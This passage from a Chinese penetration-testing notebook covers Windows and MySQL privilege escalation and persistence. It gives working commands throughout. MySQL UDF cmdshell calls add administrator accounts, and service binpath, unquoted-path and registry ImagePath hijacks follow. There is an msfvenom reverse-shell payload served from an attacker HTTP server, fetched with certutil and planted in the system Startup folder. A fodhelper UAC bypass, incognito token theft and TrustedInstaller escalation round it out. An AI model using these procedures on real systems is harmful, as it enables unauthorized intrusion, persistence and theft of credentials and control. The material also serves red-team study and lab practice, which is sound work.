与维持隐匿
- Linux 系统提权
- Linux权限维持神器 HackerPermKeeper[黑客权限保持者]
- 渗透测试——权限维持&&持久化 系统管理员hash&密码
- Mysql的用户在没有File权限情况-低权限拿到root密码
- #1 简单纵深打击
- 第一章 初见提权
- 隐藏踪迹
- Windows常见的提权思路
- 2012服务器各种脚本上去无法提权 但是利用bypass uac
- Docker 容器逃逸
- 内核溢出 提权
- 土豆家族
- Core Commands
- Stdapi: File system Commands
- Stdapi: Networking Commands
- Stdapi: System Commands
- Stdapi: Webcam Commands
- Stdapi: Mic Commands
- Stdapi: Audio Output Commands
- 事件查看器 eventvw.msc
- ls -l /lib64/libc.so.6
- windows 权限维持
dbo 权限 备份数据库 不可以 执行命令
SESHELL
mdb 注册表 操作 执行命令
MySQL数据库
udf(用户自定义函数)
执行命令或反弹shell。
例如,
Create Function cmdshell returns string soname ‘udf.dll’; select cmdshell (‘net user nsfocus Nsf0cus /add’)。
mysql root权限下 提权
安装问题
默认在 系统管理员 下 安装
以服务 启动
备份数据库 就 会有 文件
mof (托管对象格式)
windows server 2003及以下系统每5秒 定时执行一次mof目录下的文件
远程 执行命令 反弹 shell 回来 *(攻击机 监听端口 )
UDF 提权执行系统命令
● Linux UDF
通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限
sleep(),sum(),ascii()
用户自定义函数
自己写方便自己函数,它有3种返回值,
分别是STRING字符型,INTEGER整型,REAL 实数型
-掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限
版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
mysql版本 5.1
mysql版本大于5.1,
udf.dll文件必须放置在mysql安装目录的lib plugin文件夹下
mysql版本小于5.1,
udf.dll文件在 windows server 2003下放置于c:windows system32目录,
在windows server - - 2000下放置在c:winnt system32目录。
首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:
mysql -V
mysql --version
进入MySQL数据库中,执行:
show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\
show variables like '%version_%';
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
-
要求 root 权限
-
mof 是 win系统自带 漏洞
服务(不安全的服务权限或BINPATH)
Windows服务是一种在后台运行的计算机程序,它在概念上类似于 Unix 守护进程。
Windows 中的每个服务都将其可执行文件的路径存储在名为“BINARY_PATH_NAME”的变量中。
当我们启动服务时,它将检查此变量并执行其下设置的 .exe。
利用不安全服务权限或 BINPATH来提权很简单。
前提条件:必须在服务上启用第 3 点权限之一,并且当前用户有权启动或停止服务,否则我们必须等待系统重新启动才能执行有效负载。
1. 检查目标系统中的所有服务。
2. 枚举服务设置的权限。
3. 检查SERVICE_ALL_ACCESS或SERVICE_CHANGE_CONFIG已启用。
(这些权限允许用户修改服务配置和 binpath)
4. 检查该服务是否以更高权限运行。
5. 修改服务的 BINARY_PATH_NAME (binpath)。
6. 刷新或启动服务并获得更高权限的shell。
为了查找此错误配置,我使用PowerUp脚本枚举计算机 binpath 中的服务,返回当前用户可以写入binpath或其配置的服务。
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
powershell -ep bypass
.\powerup.ps
Get-ModifiableServiceFile
找到了一个名为“daclsvc”的服务。
我们人工检查一下,确认这个服务确实具有SERVICE_ALL_ACCESS或SERVICE_CHANGE_CONFIG权限,因为有时自动化工具可能会误报。
我们还有权启动(service_start)和停止该服务。
有权更改服务“daclsvc”的 binpath。现在,让我们检查一下该服务是以什么权限运行。注意:大多数情况下,Windows以SYSTEM或administrator权限运行所有服务。
它以LocalSystem权限运行。那么现在让我们利用这个错误配置,我们可以使用 sc 或服务控件(默认安装)来更改该服务的 binpath。
将其设置为反向 shell 有效负载。让我们再次使用 sc 查询,来检查我们的新路径配置是否正确。
完美,它指向我们的有效负载。
使用net(也是默认安装的)启动此服务以获得我们的SYSTEM权限shell。
错误的 系统服务权限配置
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的),
某些服务存在一些漏洞,那么就能够借此服务进行权限劫持
DLL劫持
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。
如果一个低权限的用户 对此类系统服务调用的可执行文件拥有写入权限,那么就可以替换该文件,
并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护 的。
但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
服务(不安全的服务可执行文件)
理论
可执行文件是包含可由操作系统执行的编码指令的文件。可执行文件可以是特定于平台的,也可以是跨平台的。
利用不安全服务可执行文件进行提权的方法很简单。
前提条件:服务的 .exe(二进制)权限可写或启用“FILE_ALL_ACCESS”权限,并且还有启动或停止服务的权限。
1. 枚举所有服务,检查其原始.exe(二进制)是否可写。
2. 使用有效负载 .exe 二进制文件修改或更改原始二进制文件。
3.刷新或启动服务,该服务将执行其.exe并以系统权限运行其上写入的任何内容。
实践
在这里,我使用winPEAS枚举所有可执行权限被破坏或配置错误的服务。
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe
在这个 winpeas 的报告中,我们可以看到“filepermsvc”服务的原始 .exe 为每个人设置了AllAccess权限。
简单来说就是系统上的所有用户都可以对此文件执行任何操作(r,w,x)。但我们再次使用“accesschk”工具来确认这一点。
已确认为所有人设置了“FILE_ALL_ACCESS”。现在让我们简单地修改脚本来利用这个错误配置,或者在这里用我的有效负载覆盖原始的 .exe。
只需启动服务即可获得SYSTEM权限的shell,服务以“localSystem”权限运行,而且我们也有权启动和停止该服务。
参考及来源:
https://infosecwriteups.com/privileges-escalation-techniques-basic-to-advanced-for-windows-d0f0c04d6d04
注册表(AlwaysElevatedPrivileges (.msi))
理论
.msi文件专为 Windows 操作系统上的软件安装而设计。
它包含以标准化方式安装软件应用程序所需的信息和文件,并由 Windows Installer 服务管理。
“Always Elevated Privileges”漏洞出现在默认以管理权限运行的 Windows Installer 程序包 (.msi) 中。
这意味着执行 .msi 包的任何用户或应用程序都会自动被授予管理权限,无需任何进一步的用户输入或身份验证。
利用AlwaysElevatedPrivileges进行提权的方法很简单;前提条件:将下面给出的两个注册表项值设置为 TRUE。
1. 检查注册表项是否允许当前用户下载.msi
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # 必须设置为 1 (0x1) 表示启用
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # 也必须设置为 1 (0x1) 表示启用
2. 创建 .msi 有效负载并将其发送给目标。执行该 .msi ,其中的任何内容都将以管理员/系统权限执行。
实践
让我们检查一下这两个注册表项的值,该值允许我们通过管理员权限安装 .msi。
两者均设置为 TRUE ,表示已启用。目标容易受到“AlwaysElevatedPrivileges”漏洞或更多技术性错误配置的影响。现在是时候创建恶意的 .msi 有效负载了。
将此有效负载托管在 HTTP、SMB 服务器或任何适合您的技术上,
并在目标端使用 certutil、PowerShell 或 SMB 从攻击者的服务器下载 .msi 。
现在运行 .msi 来触发我们的反向 shell。
服务(不带引号的服务路径)
理论
Windows服务是一种在后台运行的计算机程序,它在概念上类似于 Unix 守护进程。
Windows 中的每个服务都将其可执行文件的路径存储在名为“BINARY_PATH_NAME”的变量中。当我们启动服务时,它将检查此变量并执行其下设置的 .exe。
注意:这与我们在不安全服务权限或 BINPATH 权限提升技术中谈论的内容相同,
但是 binpath 变量是可写的,因此我们劫持它。
但这种技术完全不同,在服务的 BINPATH 受到保护/不允许操作的情况下很有用。
“未加引号的服务路径”漏洞发生在使用包含空格但未包含引号的binpath 安装的 Windows 服务中。
当 Windows 启动服务时,它会在服务配置中指定的路径中查找可执行文件。如果服务路径不包含引号且其中包含空格,Windows 将尝试将路径的第一个单词作为可执行文件执行,并使用其余单词作为命令行参数。
例如,对于服务的路径 C:\Program Files\Script dir\service.exe,Windows 将尝试执行以下所有可能的操作:
C:\Program.exe
C:\Program Files\Script.exe
(此处 \Program Files 目录是可写的,因此攻击者可以使用服务的扩展名创建有效负载,以便在遍历期间由操作系统执行)
C:\Program Files\Script dir\service.exe
不带引号的服务路径方法很简单。
前提条件:服务的路径必须不包含引号且包含空格。另一件事是,与原始二进制目录相比,我们在更高优先级的目录中具有可写权限。
1. 枚举所有服务,检查是否有服务的 BinPath 未加引号且包含空格或其他分隔符。
2. 然后在列出的未加引号的二进制路径中找到至少一个可写目录,并且与原始目录相比,该目录的优先级必须更高。
3. 使用 sc 查询服务,检查该服务是否以(系统/管理员)权限运行。
4. 在该可写目录中创建有效负载
5. 刷新或启动服务以使用系统权限执行.exe。
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
最后一个服务的路径有空格且未在引号中公开。
我们现在确认目标存在漏洞,
但让我们检查一下成功利用此漏洞的第二个条件
即与原始服务的路径相比,具有更高优先级的可写路径。
因此,首先检查目录。
看起来我们没有权限在此目录上写入,好的,让我们转到第二个目录。
所以我们在不带引号的路径服务目录中拥有完全访问(rwx)权限,
现在我们知道可以创建有效负载的位置并且它的优先级也更高。
将我们的有效负载复制到可写目录并将其名称更改为 Common.exe
(因为操作系统将在遍历期间执行此目录)。
现在只需使用 net start <service-name>
启动此服务,我们将获得目标的 SYSTEM 权限 shell。
如果您仍然不明白这一点(实践),那么让我给您一个整个场景的简单分解。
我们发现的漏洞目录是C:\Program Files\Unquoted Path Service\Common Files\UnquotedPathService.exe,
因为它的BinPath有空格但没有用引号括起来,所以导致了这个漏洞的诞生。
因此,正常情况下,每当此服务启动时,Windows 操作系统都会通过以下方式读取此易受攻击的 BinPath。
C:\Program.exe(未找到程序)
C:\Program Files\Unquoted.exe(找不到程序)
C:\Program Files\Unquoted Path.exe(未找到程序)
C:\Program Files\Unquoted Path Service\Common.exe(找不到程序)
C:\Program Files\Unquoted Path Service\Common Files\UnquotedPathService.exe(找到程序)
所以你会看到它正在执行找到空格的每个点,并在其末尾添加 .exe 扩展名。如果没有找到可执行文件,那么它将进一步遍历,直到在 BinPath 末尾找到正确的可执行文件。
现在,对于攻击者的 POV,他所要做的就是在原始服务路径之间找到一条可写路径。
如果他这样做了,他就可以创建具有相同名称和扩展名的 payload,Windows 将遍历该 payload 来查找二进制文件,以便他能够执行他的 payload 。
在此示例中,我们发现“/Unquoted Path Service”目录可写,因此我们创建 Common.exe,因为 Windows 会找到它并执行它。
服务(弱注册表权限)
理论
注册表是一个数据库,用于存储操作系统以及已安装的应用程序和服务的设置和配置信息。注册表是 Windows 操作系统的关键组件。
攻击者可以利用 Windows 服务上的弱注册表权限,通过修改服务的配置,设置以提升的权限运行,从而将其权限提升到管理员级别。
“ImagePath”是一个注册表值,指定 Windows 服务的可执行文件的位置。ImagePath 值包含运行服务的可执行文件的完整路径和文件名,以及服务所需的任何命令行参数或选项。
在 Windows 中,服务具有注册表项,这些项位于:
HKLM\SYSTEM\CurrentControlSet\Services\<service_name>
弱注册表权限方法很简单;前提条件:必须有一个具有 SYSTEM/ADMIN 权限的服务正在运行,并且其注册表项权限是可写的。
1. 枚举所有服务以检查其注册表项是否可写。
2.修改服务的“ImagePath” (包含应用程序二进制文件的路径)
3.刷新或启动服务,该服务将使用系统权限执行其 ImagePath 中的任何内容。
实践
让我们枚举目标系统来查找此漏洞。
让我们检查一下该服务的注册表项权限。
NT AUTHORITY\INTERACTIVE(这是一个组,基本上意味着系统上的所有登录用户)
很好,已确认目标存在漏洞,因为“regsvc”服务的注册表项的权限设置为KEY_ALL_ACCESS,该权限授予用户或组对注册表项的完全访问权限,包括查看、修改和删除其值和子项的能力。
好的,我们来修改这个服务“regsvc”的键值“ImagePath”
更改注册表项值后,只需启动或重新启动服务即可以系统/管理员权限执行我们的payload。
自动化脚本:
利用/windows/local/always_install_elevated :这个Metasploit 脚本自动枚举和利用“AlwaysInstallElevated”漏洞。
利用/windows/local/service_permissions:检查现有服务以查找可能被劫持的不安全配置、文件或注册表权限。然后它将尝试重新启动替换的服务以运行 payload。
PowerUp.ps1:这个PowerShell脚本列举了本地权限升级漏洞/错误配置的所有可能路径,甚至还有一个漏洞利用脚本。
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
Saved Credits 保存凭据
理论
当您登录资源并选择保存凭据时,Windows 将它们安全地存储在凭据管理器中。
这是 Windows 操作系统的一个组件,用于管理凭据并允许用户查看、编辑和删除已保存的凭据。
保存凭据是一项功能,允许用户安全地存储各种资源(例如网站、网络共享或远程服务器)的登录信息,
这样他们就不必在每次访问这些资源时输入用户名和密码。
利用Saved Credits方法来提权很简单;前提条件:必须保存一个高权限帐户的凭据。
1. 在目标系统中运行“cmdkey /list”命令,或WIN+R -> control keymgr.dll,列出凭据管理器中保存的所有凭据。
2. 如果我们找到任何更高权限的帐户,那么我们可以使用这些凭据执行具有该权限的命令。
实践
首先,让我们将保存在凭据管理器中所有凭据列举出来,我是通过命令完成的,我们也可以从 GUI 执行相同的过程。
好的,我们找到了 2 个凭据。让我们解释一下这些凭据的格式。
注意:第一个凭据默认存在于 Windows 操作系统中,因此我不打算定义其格式。
第二个凭据的格式
Target:此条目与 Windows 域环境中的目标关联。
目标是“Domain:interactive”,似乎链接到“WIN-QBA94KB3IOF”域,在交互式会话的上下文中使用用户帐户“admin”。
Type:凭据类型为“域密码”,表明这些凭据特定于在 Windows 域环境中使用域控制器进行身份验证。
User:此凭据条目的关联用户名是“WIN-QBA94KB3IOF\admin”,表示它是具有管理权限的域用户帐户。
我们得到的帐户不仅是基本帐户,而且是具有“域管理员权限”的帐户。它为攻击提供了很多可能性。
我们可以使用它们在目标的域网络中执行任何操作,但这里只是为了进行PoC验证,让我们运行反向 shell 代码来获取具有“域管理员”权限的目标 shell。
runas /svecred /user:admin C:\Users\Administrator\Desktop
这个命令是在 Windows 操作系统中以 "admin" 用户的身份运行 "C:\Users\Administrator\Desktop\admin.exe" 可执行程序。
具体来说,"/svecred" 参数将凭据保存在 Credential Manager 中,以便下次使用时不再需要输入密码。"/user:admin" 参数指定了要使用 "admin" 用户的权限来运行该程序,而 "C:\Users\Administrator\Desktop\admin.exe" 是要运行的可执行程序路径和名称。
runas:用于以不同用户的权限运行命令。(就像sudo一样)
自启动应用程序
理论
自启动应用程序可以定义为在计算机启动时自动启动的应用程序。这些应用程序设计为在您登录用户帐户时在后台运行。常见自启动应用程序的一些示例包括防病毒软件、即时通讯客户端、云存储服务、Windows 更新和系统实用程序。
利用自启动的方法来提权很简单;前提条件:自启动应用程序目录的权限必须被破坏,或者自启动应用程序中的二进制文件的权限被破坏。
1.枚举所有自启动应用程序。我们有两种类型的自启动应用程序目录。
用户自启动应用程序目录
"C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\开始菜单\程序\启动"
注意:每个用户都有自己的自启动应用程序目录,该目录以其权限运行并且每个用户将仅运行其自启动应用程序目录中可用的任何内容。
系统自启动应用程序目录
"C:\ProgramData\Microsoft\Windows\开始菜单\程序\启动"
注意:系统层面的自启动应用程序的目录,它的工作原理与前一个相同,但它适用于所有用户,因此每当任何用户登录时它都会触发。另外,因为它应用于整个系统,所以它以“SYSTEM”权限运行,因此这里的每个二进制文件都以“SYSTEM”权限运行。
2.检查您是否具有覆盖某些自启动应用程序的二进制文件的写入权限,或者检查存储自启动应用程序的目录中是否启用了“FILE_ALL_ACCESS”权限。
3.修改原始程序的二进制文件(有效负载.exe名称必须与原始.exe相同),或在自启动应用程序目录中创建有效负载
4.等待用户登录活动触发您的有效负载以获得该特定用户的权限(用于用户自启动应用程序)或获得SYSTEM 权限(用于系统自启动应用程序目录)
实践
检查整个系统中所有的自启动应用程序目录。
autorunsc.exe -m -nobanner -a * -ct /accepteula
sysinternals 工具,用于枚举启动和自动运行应用程序所在的所有路径。我们发现“系统自启动应用程序目录”上设置了损坏的权限。
所有内置/用户组成员在此目录上都具有“FULL_ACCESS”
BUILTIN\Users(Windows 中的默认组,向本地用户授予基本访问权限(允许执行基本任务和访问公共资源),同时确保他们没有系统的完全管理权限。在系统上创建的任何本地用户帐户都会自动该组的成员。
因此,让我们通过 msfvenom 创建一个反向 shell 并将其放入系统自启动应用程序目录中。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻击者 IP> LPORT=<攻击者端口> -f exe -o rev-shell.exe
让我们通过 Python HTTP 服务器托管它
python3 -m http.server <攻击者端口> -b <攻击者IP> -d ~/Downloads
在目标处,客户端使用 certutil 工具下载此有效负载并将其放入“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp”目录中。
现在您可以执行以下操作来触发有效负载。
1.等待系统重新启动或重新启动(通常,我们在真实渗透测试/红队模拟中执行此操作,但这需要时间)
2.等待用户的登录活动登录(从会话中注销用户并等待他的登录活动。不会花费时间,但有时会令人生疑)。
3.自己动手(如果知道任何用户或特定用户的密码,则自行执行注销和登录技术)。
在这里,我们执行第三种方法来加快过程并进行学习模拟。
从锁定屏幕再次登录任何帐户。
“在 Windows 中注销是指结束用户会话并返回到 Windows 登录屏幕的过程。当您注销时,所有打开的文件、程序和进程都将关闭,
系统返回到登录屏幕,其他用户可以在其中登录,或者当前用户可以重新登录。”
正如您所看到的,当我们再次登录时,系统将运行自启动应用程序文件夹中设置的所有程序,
5-15 秒后,我们将获得“SYSTEM”权限。
一、当前用户专有的启动文件夹
这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的,用户启动文件夹一般在:
C:\Documents and Settings\<用户名字>\「开始」菜单\程序\启动
C:\Users\<用户名字>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
二、对所有用户有效的启动文件夹
这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,
放入该文件夹的程序总是自动启动,这是它与用户专有的启动文件夹的区别所在,该文件夹一般在:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
三、Load注册键
介绍该注册键的资料不多,实际上它也能够自动启动程序,位置:
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
四、Userinit注册键
这里也能够使系统启动时自动初始化程序,通常该注册键下面有一个userinit.exe,
但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号),位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit
五、Explorer\Run注册键
和load、Userinit不同,Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有,具体位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
六、RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,RunServicesOnce注册键的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
七、RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前,RunServices的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
八、RunOnce\Setup注册键
RunOnce\Setup指定了用户登录之后运行的程序,它的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup
九、RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINE下面的RunOnce键,会在用户登录之后立即运行程序,运行时在其他Run键指定的程序之前。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
十、Run注册键
Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前,位置在:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Powershell 历史
理论
在 PowerShell 中,多个实用程序监视或记录运行的所有 PS 命令,他们之中有一些是:
1.命令历史记录:PowerShell 命令历史记录,它是您在当前会话期间执行过的命令的列表。此历史记录允许您查看和访问以前执行的命令,而无需重新输入它们。
2.转录日志:允许您将 PowerShell 会话的所有输入和输出记录到文件中。转录日志不仅捕获您执行的命令,还捕获这些命令的结果以及会话期间生成的任何输出或错误。
3.PSReadLine负责提供增强的命令行编辑和历史记录功能,包括语法突出显示、多行编辑和改进的命令历史记录导航等功能。ConsoleHost_history.txt:由其管理的简单文本文件,存储当前用户的 PowerShell 会话的命令历史记录。
利用Powershell历史记录提权很简单;检查所有 PS 历史文件以查找有用信息,例如凭据和其他配置信息。
Get-history:仅显示当前 PS 会话中运行的所有命令,并且它是非持久性的(意味着仅在 PS 会话期间保持持久性)
dir /s “PowerShell_transcript_logs”:列出在任何PS会话中运行的所有PS命令(它保存所有过去的PS会话数据)。
dir /s “ConsoleHost_history.txt”:显示在任何会话中运行的所有命令(从 C:\ 运行),但它将所有 PS 会话中的所有命令保存在一个文件中并且仅保存命令。
实践
检查所有 PS 历史日志文件。当前没有 PS 会话在目标系统中运行,因此“get-history”在这里毫无用处,转录日志服务也没有运行,所以让我们看看是否有“ConsoleHost_history.txt”。
我们确实找到了,所以让我们检查一下,看看我们是否可以获得任何有用的信息。
看起来用户使用了“cmdkey”命令并在其中传递了他的密码。我们可以在“runas”中使用这些凭据来生成进程或启动具有这些用户权限的程序。
参考及来源:
https://infosecwriteups.com/privileges-escalation-techniques-basic-to-advanced-for-windows-5f1d4e8d8c01
administrator->system
注册表劫持BypassUAC提权
在触发UAC时,操作系统会创建一个名为consent.exe的进程,
该进程通过白名单和用户选择来确定是否提升权限。
请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数,
该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口,这个UAC框会创建新的安全桌面,屏蔽之前的界面。
同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。
用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
通常通过UAC的权限提升需要由用户确认,在不被用户发现的情况下静默的将程序的普通权限提升为管理员权限,
从而使程序可以实现一些需要权限的操作被称之为BypassUac。
有一些系统程序是会直接获取管理员权限同时不触发UAC弹窗的,这类程序被称为白名单程序,
如fodhelper.exe、ComputerDefaults.exe。
这些程序拥有一个manifest文件,该文件本质上是一个XML文件,用于标识该程序的配置属性。
如果程序manifest文件中的配置属性autoElevate为True,并且该程序还具有微软签名,
那么这个程序将具有一定的特权,可以绕过UAC提示框直接以管理员权限运行。
以fodhelper.exe程序为例子
可以使用自带的sigcheck.exe查看fodhelper.exe程序的manifest标识文件:
sigcheck.exe -m C:\Windows\System32\fodhelper.exe
没有UAC弹窗
在注册表创建:HKCU:\Software\Classes\ms-settings\Shell\Open\command
在注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command下创建DelegateExecute键,值为空
在注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command下创建Default键,值为要执行的命令
当执行fodhelper.exe程序时,如果注册表中存在HKCU:\Software\Classes\ms-settings\Shell\Open\command键值对,fodhelper.exe会查找HKCU:\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute,若也存在,则会寻找该注册表下的Default,执行该键下对应的命令
基于此原理,在poweshell下,依次执行以下代码,即可绕过UAC获得system权限。
[String]$program = "cmd /c start powershell.exe"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
同理,在cmd窗口下,依次执行以下命令,即可获取system权限。
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c start cmd.exe"
fodhelper.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f
用其他白名单程序,只需要把运行的程序换成对应的白名单程序即可
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c start cmd.exe"
ComputerDefaults.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f
权限继承类 提权
滥用高危权限令牌
利用操作系统中存在的一种机制,即一个进程可以继承其父进程的权限和令牌,
从而使得一个低权限的进程可以通过注入、伪造、窃取等手段来获取一个高权限进程的权限和令牌。
令牌窃取
简介:令牌(token)是系统的临时秘钥,相当于账号和密码,
用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象 。
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。
use incognito //进入incognito模块
list_tokens -u //列出令牌
impersonate_token "WIN-HN02RO8B2OU\86158" //模仿令牌
(它没有扫描处我的靶机里面的system权限的用户,所以我将就模仿)
cs等也有窃取令牌的功能。
http://e.betheme.net/article/show-1283732.aspx?action=onClick
# 操作系统权限提升(十七)之绕过UAC提权-Windows令牌概述和令牌窃取攻击
**烂土豆提权/多汁土豆提权**.
优点就是,比较可靠,而且版本通杀。具体参考:https://blog.csdn.net/god_zzZ/article/details/106334702
# 烂土豆Juicypotato提权原理和利用
利用token复制提权
访问令牌是windows用于确定指定进程或线程安全上下文的一种对象
当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌,
比如,有些需要用管理员令牌的资源,用普通用户的令牌肯定是访问不到了
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。
它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,windows有两种类型的Token:
Delegation token(授权令牌):用于交互会话登录,例如本地用户直接登录、远程桌面登录
Impersonation token(模拟令牌):用户非交互登录,利用net user访问共享文件夹
上面的这两种令牌,都会在系统重启以后被清除,否则将会一直驻留在内存中,
而授权令牌则会在用户注销以后自动被转为模拟令牌,但仍然可利用
当前用户只能看到当前用户自己和比自己权限低的所有访问令牌
metasploit中的incognito
在metasploit中,可使用incognito实现token窃取,通过token窃取实现权限的切换
加载incognito
load incognito
列举token
list_tokens -u
查看当前token
getuid
返回之前的token
rev2self
drop_token
system token窃取
impersonate_token "NT AUTHORITY\SYSTEM"
Windows平台下的incognito
incognito.exe list_tokens -u # 列举token
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe # 窃取system token,提权到system
incognito.exe execute -c "当前用户token" cmd.exe # 降权到当前用户
incognito.exe execute -c "WIN-LI6N3TD1TT6\Administrator" cmd.exe
提升到TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件
因为Windows系统的最高权限为TrustedInstaller,例如路径C:\Windows\servicing,
使用system权限无法在该路径创建文件
启动TrustedInstaller服务会启动进程TrustedInstaller.exe,
位置为C:\Windows\servicing\TrustedInstaller.exe,
查看该程序权限为:NT SERVICE\TrustedInstaller
Get-Acl -Path .\TrustedInstaller.exe |select Owner
powershell默认不支持Set-NtTokenPrivilege命令,该模块需要下载安装
下载地址:https://www.powershellgallery.com/packages/NtObjectManager/1.1.1
powershell下载安装NtObjectManager模块
在系统 C 盘根目录新建名为 “token” 的文件夹,以管理员身份运行Powershell,然后输入以下命令,回车(如果是第一次安装会出现询问,输入"Y"并回车)
Save-Module -Name NtObjectManager -Path c:\token
下载完成后,输入以下命令正式安装
Install-Module -Name NtObjectManager
稍等片刻,等待安装结束。结束后,导入NtObjectManager模块前,输入以下命令让系统允许使用 Powershell 脚本
Set-ExecutionPolicy Unrestricted
导入模块NtObjectManager
Import-Module NtObjectManager
在powershell中依次输入以下命令获取TrustedInstaller权限
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
如下图所示,执行成功后会弹出新的system权限的cmd,
使用whoami查看当前cmd权限。发现当前cmd.exe在TrustedInstaller组里,成功获得TrustedInstaller权限
whoami /groups /fo list
利用MSIExec获得System权限
msiexec介绍
msiexec:系统进程,是windows Installer的一部分,
